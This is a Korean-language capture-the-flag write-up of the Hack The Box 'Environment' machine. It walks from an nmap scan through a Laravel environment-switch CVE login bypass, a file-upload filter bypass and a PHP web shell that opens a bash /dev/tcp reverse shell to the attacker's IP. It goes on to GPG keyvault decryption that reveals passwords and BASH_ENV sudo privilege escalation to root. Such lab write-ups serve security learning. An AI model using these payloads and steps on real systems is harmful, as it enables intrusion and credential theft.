▌ TRANSMISSION · [HTB]

[MEDIUM_LINUX] Environment write-up


alt text

우선 해당 머신 IP로 nmap 스캐닝을 수행해 어떤 서비스가 동작하는지 확인해보았다.

environment sudo nmap 10.129.29.10 -sC -sV --open -oA Scanning
[sudo] password for m0nk3ygod:
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-01 20:49 +0900
Nmap scan report for 10.129.29.10
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
|   256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_  256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://environment.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.12 seconds

머신은 linux os이며, 22, 80 포트에서 ssh와 http 서비스가 동작하고 있었다.

http 서비스 도메인은 environment.htb 이니 hosts에 도메인 매핑을 해주고, 바로 분석에 들어갔다.

alt text

맨 아래 이메일 입력하는 란이 있길래 아무거나 날려봤더니 실패했다고 나온다.

뭐가 날라가는지 버프로 잡아봤다.

alt text

(대충 요런게 날라간다.)

쿠키도 와랄라 되어있고, 이메일 파라미터랑 ‘토큰’ 값이 날라간다.

gobuster로 디렉터리 탐색도 해봤다.

alt text

근데 index.php가 잡히는걸 보니 php코드 동작도하는 모양이다.

alt text

중요해보이는 것들이 잔뜩 잡힌 느낌이다.

status 200들만 우선 확인해봤는데 robots.txt에 들어갔을 때는 암것도 없었고, up은 서버 상태를 확인할 수 있는 것 같았다. login은 말그대로 로그인 페이지로 이동했다.

다음으로 status 405에 들어가봤다.

  • 405 : Method Not Allowed

alt text

접속할 때 POST 방식으로 접근해야하는 듯 싶다. 근데 이걸 POST 로 바꿔서 보내보면, status 419가 뜬다.

  • 419 : Page Expired (토큰 누락 or 세션 만료)

다시 405로 돌아와서 이번에는 Laravel 이 뭔지 알아보기로 했다.

  • Laravel : php언어로 작성된 php로 웹개발을 하기 위한 풀 스택 웹 프레임워크 (오픈 소스)

11.30.0의 cve가 있나 확인해보니

alt text

있는것 같다. 요걸 이용해야하는 듯 싶다.

CVE-2024-52301 (11.31.0 이하 버전에서 터지는 취약점)

POC를 찾아보니

요걸 써보면 될 것 같다.

대충 정리해보자면, URL에 ?--env=production 을 붙이면 $_SERVER['argv'] = ["--env=production"] 로 채워지고, Laravel이 실행 환경을 production으로 바꾼다.

근데 이게 동작하려면 php.ini에 활성화가 되어있어야한다고 하는데… 일단 해보고 안되면 다른 방법을 찾아보자.

일단 test를 해봤는데,

alt text

(우오오오오옷?)

--env=test 로 파라미터를 보내니 하단에 Test로 바뀌었다.

github에서 본대로 이번에는 local로 바꿔보았다.

alt text

로컬로 잘 바뀌긴했는데, 뭘하면 좋을지 모르겠다. (개발환경명을 알아내야 할 것 같음)

그렇게 한참 해메다가 405 에러들을 보고 있는데,

에러난 부분의 코드를 보여주고 있다는게 떠올랐다.

index.php에 method를 바꿔서 보내봤는데,

alt text

별거 없었다…

login 페이지에서는 419가 뜬다.

이게 로그인 폼이 POST로 날아갈거 같은데, 바꿔보내봤다.

(결과는 GET, POST, HEAD 지원한다 정도…)

생각해보니 method 바꿔 보내면 method 처리 오류만 보여주겠는데;;

로그인 요청을 버프로 잡아보니 remember 라는 파라미터가 있었는데, 이 녀석이 False로 되어있었다.

alt text

요게 checkbox 형태니까 True, False로 받는거 같은데, 다른 값을 줘서 에러를 일으켜보면 요 녀석 주변 로직이 보이지 않을까 싶다.

alt text

(됐다!)

79번째 줄 주석에 로컬 개발 환경이 preprod 라는 이름으로 되어있다는 것을 알 수 있다!

이걸 아까 CVE에 적용해볼 수 있을 것 같다. 로그인 요청을 보낼 때 경로에 /login?--env=preprod 를 붙여서 접속해보면?

alt text

(와와와 해냈따) 초기 침투가 된다.

Profile에 들어가보면, upload를 올릴 수 있게 되어있다.

alt text

파일들을 올려보니, content-type과 magic byte, 확장자명까지 모두 검사하고 있는 것 같다.

우선 하나하나 우회를 해보면,

  • magic byte : gif 매직 바이트 이용.
    • 처음에는 png로 하려다가 gif가 매직바이트 추가 하기 쉬워서 이걸로 진행 (GIF87a 만 앞에 넣으면 끝 ㅎ)
  • content-type : image/gif
    • gif를 쓸거니 당연
  • 확장자명 우회 : pHp 형태로 우회…를 하려고 했으나 잘 안되었음 (php 코드 실행이 안됨)

아무래도 확장자명만 우회하면 될 것 같은데 한번 찾아봐야겠다.

alt text

CVE가 여러개 나오던데,

CVE-2025-56399 는 확장자만 검사할 때 사용하는 것 같고…

CVE-2024-21546 을 보니 요걸 한번 이용해 보면 좋을 것 같다.

요약하자면, 그냥 확장자 뒤에 . 을 넣으면 우회가 된다고 한다.

최종적으로 정리해서 요청을 보내보면,

alt text

alt text

그러면 요렇게 업로드가 되는 것을 볼 수 있다.

이걸로 ReverseShell을 따오는 것을 해보자.

<?php system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.158/1337 0>&1'"); ?>

webshell 명령을 다음과 같이 바꿔주고,

sudo nc -lnvp 1337

리스너를 연뒤, 업로드를 해주면?

alt text

(동일한 파일이름이 있으면 업로드 안되길래 파일 이름을 바꿔 보냈다.)

alt text

쉘을 얻을 수 있다!

우선 home 디렉터리를 확인해 어떤 유저가 있는지 확인해봤다. (latarel movement를 하기 위함)

www-data@environment:/home$ ls
ls
hish

hish 라는 유저가 있는데, 우선 여기서 user.txt (user flag)를 획득할 수 있다.

www-data@environment:/home/hish$ ls
ls
backup
user.txt
www-data@environment:/home/hish$ ls backup
ls backup
keyvault.gpg

hish 홈 디렉터리에 backup 디렉터리를 확인해 보면, gpg 파일 하나를 얻을 수 있다.

GPG (GNU Privacy Guard)
데이터를 암호화하고 서명하는 툴. (비대칭 암호화 방식)

  • Private Key
  • Public Key

.gpg 는 암호화된 파일로, 개인키로 복호화가 가능하다.
GPG 에 사용하는 키는 기본적으로 ~/.gnupg 디렉터리에 위치한다.

www-data@environment:/home/hish$ ls -al /home/hish | grep .gnupg
ls -al /home/hish | grep .gnupg
drwxr-xr-x 4 hish hish 4096 May  2 04:35 .gnupg

현재 권한이 www-data 라서 write 권한이 없는 .gnupg를 어떻게 할 수가 없다…

그래서 이걸 /tmp 디렉터리에 복사해서 사용해볼 것이다.

www-data@environment:/home/hish/backup$ cp -r /home/hish/.gnupg /tmp/cp_gnupg
cp -r /home/hish/.gnupg /tmp/cp_gnupg
www-data@environment:/home/hish/backup$ gpg --homedir /tmp/cp_gnupg --decrypt keyvault.gpg
< gpg --homedir /tmp/cp_gnupg --decrypt keyvault.gpg
gpg: WARNING: unsafe permissions on homedir '/tmp/cp_gnupg'
gpg: encrypted with 2048-bit RSA key, ID B755B0EDD6CFCFD3, created 2025-01-11
      "hish_ <hish@environment.htb>"
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> marineSPm@ster!!
FACEBOOK.COM -> summerSunnyB3ACH!!

--homedir 로 gpg 설정 디렉터리를 지정하고, 바로 keyvault.gpg 를 풀어보니 풀렸다!

environment.htb 저게 hish의 패스워드인 것 같다. ssh 접속을 시도해보자!

alt text

hish 유저로 성공적으로 로그인했다.

다음으로 권한 상승을 해보자.

hish@environment:~$ sudo -l
Matching Defaults entries for hish on environment:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+="ENV
    BASH_ENV", use_pty

User hish may run the following commands on environment:
    (ALL) /usr/bin/systeminfo

sudo -l 명령으로 hish 유저가 sudo를 이용할 수 있는 명령이 뭐가 있나 확인해보니 systeminfo 라는 명령이 있었다.

그리고 sudo 를 실행하면 환경변수를 초기화 하고 있고(env_reset),

ENVBASH_ENV 환경변수는 초기화하지않고 유지하도록 되어있다(env_keep)

If this variable is set when Bash is invoked to execute a shell script, its value is expanded and used as the name of a startup file to read before executing the script. Bash does not use PATH to search for the resultant filename. See Bash Startup Files.

간단히 말해 BASH_ENV 환경변수가 설정되어 있으면, bash 스크립트를 실행하기 전해 환경 변수로 설정된 파일을 먼저 읽어본다는 것이다.

hish@environment:~$ cat /usr/bin/systeminfo
#!/bin/bash
echo -e "\n### Displaying kernel ring buffer logs (dmesg) ###"
dmesg | tail -n 10

echo -e "\n### Checking system-wide open ports ###"
ss -antlp

echo -e "\n### Displaying information about all mounted filesystems ###"
mount | column -t

echo -e "\n### Checking system resource limits ###"
ulimit -a

echo -e "\n### Displaying loaded kernel modules ###"
lsmod | head -n 10

echo -e "\n### Checking disk usage for all filesystems ###"
df -h

systeminfo의 스크립트가 /bin/bash 로 동작하도록 짜여져있기에 저 환경 변수가 사용될 수 있다.

이것으로 권한 상승 시나리오를 정리해보자면,

1. /bin/bash를 실행하는 스크립트를 짠다.
2. BASH_ENV에 방금 만든 스크립트를 등록한다.
3. /usr/bin/systeminfo 를 sudo로 실행한다.
4. sudo 권한으로 BASH_ENV에 등록된 스크립트가 실행된다.
5. root 권한으로 bash가 열린다!

해보자!

hish@environment:~$ echo "/bin/bash" > shell.sh
hish@environment:~$ chmod +x shell.sh
hish@environment:~$ BASH_ENV=shell.sh sudo /usr/bin/systeminfo
root@environment:/home/hish# id
uid=0(root) gid=0(root) groups=0(root)

BASH_ENV=shell.sh sudo /usr/bin/systeminfo
sudo 사용시 환경 변수를 초기화 하기 때문에, 위와 같이 한번에 명령을 사용하여 실행 순간에 환경변수가 적용될 수 있도록 해준다.

이렇게 권한상승까지 성공할 수 있다.

root@environment:/home/hish# cat /root/root.txt
369e21bd1228a6d7a74dcc7aa0528895

← ALL POSTS